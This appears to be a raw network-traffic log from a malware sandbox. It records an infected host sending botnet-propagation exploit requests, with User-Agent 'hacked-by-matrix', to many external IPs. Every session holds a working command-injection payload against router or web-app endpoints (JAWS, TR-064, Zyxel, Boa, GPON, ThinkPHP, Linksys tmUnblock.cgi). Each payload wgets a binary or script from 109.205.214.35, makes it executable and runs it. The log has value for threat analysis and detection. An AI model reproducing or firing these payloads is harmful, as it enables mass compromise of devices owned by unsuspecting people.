Mar 21, 2024 05:18:50.062380075 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:50.707855940 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:51.475827932 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:52.979917049 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:56.051851034 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1318	192.168.2.13	40694	121.7.204.128	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.084777117 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:50.451795101 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1319	192.168.2.13	48976	202.185.153.245	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.088089943 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:50.452109098 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1320	192.168.2.13	37792	162.225.105.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.194237947 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:50.339603901 CET	254	IN	HTTP/1.1 307 Temporary Redirect Location: https://vdigate.sacredhearthealth.com Content-Type: text/html Cache-Control: private Connection: close Data Raw: 3c 68 65 61 64 3e 3c 62 6f 64 79 3e 20 54 68 69 73 20 6f 62 6a 65 63 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 76 64 69 67 61 74 65 2e 73 61 63 72 65 64 68 65 61 72 74 68 65 61 6c 74 68 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 20 3c 2f 62 6f 64 79 3e Data Ascii: <head><body> This object may be found <a HREF="https://vdigate.sacredhearthealth.com">here</a> </body>
Mar 21, 2024 05:18:51.342911959 CET	254	IN	HTTP/1.1 307 Temporary Redirect Location: https://vdigate.sacredhearthealth.com Content-Type: text/html Cache-Control: private Connection: close Data Raw: 3c 68 65 61 64 3e 3c 62 6f 64 79 3e 20 54 68 69 73 20 6f 62 6a 65 63 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 76 64 69 67 61 74 65 2e 73 61 63 72 65 64 68 65 61 72 74 68 65 61 6c 74 68 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 20 3c 2f 62 6f 64 79 3e Data Ascii: <head><body> This object may be found <a HREF="https://vdigate.sacredhearthealth.com">here</a> </body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1321	192.168.2.13	39536	71.7.63.220	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.291528940 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1322	192.168.2.13	40464	178.254.8.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.340264082 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:50.515805960 CET	983	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:49 GMT Server: Apache/2.4.38 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 34 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:49 GMTServer: Apache/2.4.38 (Debian)Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1323	192.168.2.13	39590	71.7.63.220	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.451608896 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1324	192.168.2.13	49006	202.185.153.245	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.452347994 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:50.831428051 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1325	192.168.2.13	53156	170.231.140.106	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.568460941 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1326	192.168.2.13	57860	170.239.42.95	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.622931004 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1327	192.168.2.13	44614	181.233.49.37	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.755402088 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1328	192.168.2.13	58832	159.203.94.35	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:50.999085903 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:51.093749046 CET	368	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:51 GMT Content-Type: text/html Content-Length: 166 Connection: close Strict-Transport-Security: max-age=63072000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1329	192.168.2.13	33324	95.58.239.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.024835110 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:51.300656080 CET	29	IN	HTTP/1.1 200 OK
Mar 21, 2024 05:18:51.300983906 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
1330	192.168.2.13	58182	23.50.78.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.043703079 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:51.132462978 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:18:51 GMT Date: Thu, 21 Mar 2024 04:18:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 34 37 38 63 65 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 33 31 26 23 34 36 3b 31 32 33 63 64 65 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4478ce17.1710994731.123cdec</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1331	192.168.2.13	57458	52.217.97.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.043726921 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:18:51.139990091 CET	256	IN	HTTP/1.1 400 Bad Request Transfer-Encoding: chunked Date: Thu, 21 Mar 2024 04:18:50 GMT Server: AmazonS3 x-amz-request-id: VGK6AAJNWWVWAQSD x-amz-id-2: aQBLzuDA58Kd3xA0osFCoym7jOSEA2zZYBemnWTsVHxgX1JBqNzIc0NjzHFbV3G/r8Lx17ioY4o= Connection: close
Mar 21, 2024 05:18:51.140002966 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1332	192.168.2.13	50940	184.30.149.203	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.259154081 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:51.422835112 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:18:51 GMT Date: Thu, 21 Mar 2024 04:18:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 62 39 35 31 65 62 38 26 23 34 36 3b 31 37 31 30 39 39 34 37 33 31 26 23 34 36 3b 36 39 30 66 61 62 66 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cb951eb8.1710994731.690fabff</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1333	192.168.2.13	48024	172.65.248.228	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.311670065 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:51.795886993 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1334	192.168.2.13	57224	184.152.191.214	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.391740084 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:51.495071888 CET	326	IN	HTTP/1.0 404 Not Found Server: httpd/2.0 x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Date: Thu, 21 Mar 2024 04:18:51 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1335	192.168.2.13	46080	88.221.131.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.426768064 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
